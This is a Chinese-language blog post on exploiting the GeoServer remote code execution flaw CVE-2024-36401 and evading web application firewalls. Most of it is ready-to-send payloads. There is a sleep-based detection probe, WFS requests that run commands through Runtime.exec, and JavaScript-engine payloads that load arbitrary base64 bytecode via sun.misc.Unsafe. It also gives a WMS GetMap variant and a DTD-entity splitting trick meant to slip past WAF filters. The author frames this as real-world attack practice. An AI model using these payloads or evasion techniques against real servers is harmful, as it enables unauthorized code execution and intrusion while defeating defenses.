GeoServer Bypass WAF

简单总结一年来CVE-2024-36401在实战中绕过WAF的一些Tricks

受影响版本

  • GeoServer < 2.23.6
  • 2.24.0 <= GeoServer < 2.24.4
  • 2.25.0 <= GeoServer < 2.25.2
  • GeoTools < 29.6
  • 31.0 <= GeoTools < 31.2
  • 30.0 <= GeoTools < 30.4

获取图层原始信息

1
/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities

常规PoC

时间延时

可以用于判断漏洞是否存在

1
2
3
4
5
6
7
8
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>java.lang.Thread.sleep(1500)
</wfs:valueReference>
</wfs:GetPropertyValue>

命令执行

WFS GetPropertyValue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<wfs:GetFeature service="WFS" version="1.1.0"
xmlns:topp="http://www.openplans.org/topp"
xmlns:wfs="http://www.opengis.net/wfs"
xmlns="http://www.opengis.net/ogc"
xmlns:gml="http://www.opengis.net/gml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.opengis.net/wfs">
<wfs:Query typeName="topp:states">
<Filter>
<Intersects>
<PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</PropertyName>
</Intersects>
</Filter>
</wfs:Query>
</wfs:GetFeature>

WFS GetFeature

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<wfs:GetFeature service="WFS" version="1.0.0"
xmlns:topp="http://www.openplans.org/topp"
xmlns:wfs="http://www.opengis.net/wfs"
xmlns:ogc="http://www.opengis.net/ogc"
xmlns:gml="http://www.opengis.net/gml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.opengis.net/wfs">
<wfs:Query typeName="topp:states">
<ogc:Filter>
<ogc:BBOX>
<ogc:PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</ogc:PropertyName>
<gml:Box srsName="http://www.opengis.net/gml/srs/epsg.xml#4326">
<gml:coordinates>-75.102613,40.212597 -72.361859,41.512517</gml:coordinates>
</gml:Box>
</ogc:BBOX>
</ogc:Filter>
</wfs:Query>
</wfs:GetFeature>

加载任意字节码

WFS GetPropertyValue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<wfs:GetFeature service="WFS" version="1.1.0"
xmlns:topp="http://www.openplans.org/topp"
xmlns:wfs="http://www.opengis.net/wfs"
xmlns="http://www.opengis.net/ogc"
xmlns:gml="http://www.opengis.net/gml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.opengis.net/wfs">
<wfs:Query typeName="topp:states">
<Filter>
<Intersects>
<PropertyName>eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'
var str="字节码base64";
var bt;
try {
bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
bt = java.util.Base64.getDecoder().decode(str);
}
var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
unsafe = theUnsafe.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();
')</PropertyName>
</Intersects>
</Filter>
</wfs:Query>
</wfs:GetFeature>

有些站的WFS service可能是被禁用或者是损坏的状态,也有可能Layer根本不存在。这个时候可以借助WMS service解决上述问题。

WMS getMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
POST /geoserver/wms HTTP/1.1
Host:
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<ogc:GetMap xmlns:ogc="http://www.opengis.net/ows"
xmlns:gml="http://www.opengis.net/gml"
version="1.2.0"
service="WMS">
<StyledLayerDescriptor version="1.0.0"
xsi:schemaLocation="http://www.opengis.net/sld StyledLayerDescriptor.xsd"
xmlns="http://www.opengis.net/sld"
xmlns:ogc="http://www.opengis.net/ogc"
xmlns:xlink="http://www.w3.org/1999/xlink"
xmlns:dave="http://blasby.com"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<UserLayer>
<Name>Inline</Name>
<InlineFeature>
<FeatureCollection>
<featureMember>
<BodyPart>
<Type>Mouth</Type>
<polygonProperty>
<gml:Polygon>
<gml:outerBoundaryIs>
<gml:LinearRing>
<gml:coordinates>
397,226 396,209 396,196 390,185 384,175 368,163 353,155 331,150 308,149 283,148 261,153 231,163
209,175 195,189 186,209 182,221 187,226 193,214 195,205 200,197 203,192 215,185 226,177 241,171
256,167 266,163 281,161 297,161 321,160 341,160 359,168 371,175 382,185 388,197 390,215 390,225
394,226 397,226
</gml:coordinates>
</gml:LinearRing>
</gml:outerBoundaryIs>
</gml:Polygon>
</polygonProperty>
</BodyPart>
</featureMember>
</FeatureCollection>
</InlineFeature>
<UserStyle>
<FeatureTypeStyle>
<Rule>
<Filter>
<Or>
<PropertyIsEqualTo>
<PropertyName>eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'
var str="字节码base64";
var bt;
try {
bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
bt = java.util.Base64.getDecoder().decode(str);
}
var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
unsafe = theUnsafe.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();
')</PropertyName>
<Literal>Eye</Literal>
</PropertyIsEqualTo>
</Or>
</Filter>
<PolygonSymbolizer>
<Fill>
<CssParameter name="fill">
<ogc:Literal>#DD06E0</ogc:Literal>
</CssParameter>
<CssParameter name="fill-opacity">
<ogc:Literal>1.0</ogc:Literal>
</CssParameter>
</Fill>
<Stroke>
<CssParameter name="stroke">
<ogc:Literal>#FF00FF</ogc:Literal>
</CssParameter>
</Stroke>
</PolygonSymbolizer>
</Rule>
</FeatureTypeStyle>
</UserStyle>
</UserLayer>
</StyledLayerDescriptor>
<BoundingBox>
<gml:coord>
<gml:X>0</gml:X>
<gml:Y>0</gml:Y>
</gml:coord>
<gml:coord>
<gml:X>500</gml:X>
<gml:Y>500</gml:Y>
</gml:coord>
</BoundingBox>
<Output>
<Format>image/jpeg</Format>
<Transparent>false</Transparent>
<Size>
<Width>501</Width>
<Height>501</Height>
</Size>
</Output>
</ogc:GetMap>

Bypass WAF

其实绕过WAF的本质就是利用一切你所知的特性
此时,我们很容易想到:能不能利用XML的特性来重新构造上述PoC?

使用 DTD 进行实体声明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root [
<!ENTITY a "eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'var str=">
<!ENTITY g '"' >
<!ENTITY h '"' >
<!ENTITY i ";var bt;try {bt = java.lang.Class.forName">
<!ENTITY b '("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);} catch (e) { bt = java.util.Base64.getDecoder'>
<!ENTITY c '().decode(str);}var theUnsafe = java.lang.Class.forName'>
<!ENTITY d '("sun.misc.Unsafe").getDeclaredField("theUnsafe");theUnsafe.setAccessible(true);unsafe = theUnsafe.get(null);unsafe.defineAnonymousClass(java.lang.Class.forName'>
<!ENTITY e '("java.lang.Class"), bt, null).newInstance();'>
<!ENTITY f "')">
]>
<wfs:GetFeature service="WFS" version="1.1"
xmlns:topp="http://www.openplans.org/topp"
xmlns:wfs="http://www.opengis.net/wfs"
xmlns="http://www.opengis.net/ogc"
xmlns:gml="http://www.opengis.net/gml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.opengis.net/wfs">
<wfs:Query typeName="sf:archsites">
<Filter>
<Intersects>
<PropertyName>&a;&g;字节码base64字符串&h;&i;&b;&c;&d;&e;&f;</PropertyName>
</Intersects>
</Filter>
</wfs:Query>
</wfs:GetFeature>

增强混淆:
GeoserverBypass

公开一个项目demo

GeoServerBypass

举一反三

另外在XML文档中默认是支持HTML实体编码的,我们也可以根据这个特性对某些关键字符串进行编码,重新构造PoC。

后续

会考虑编写一把梭的利用工具。

参考文章

Author

iN1t0

Posted on

2025-07-21

Updated on

2025-07-21

Licensed under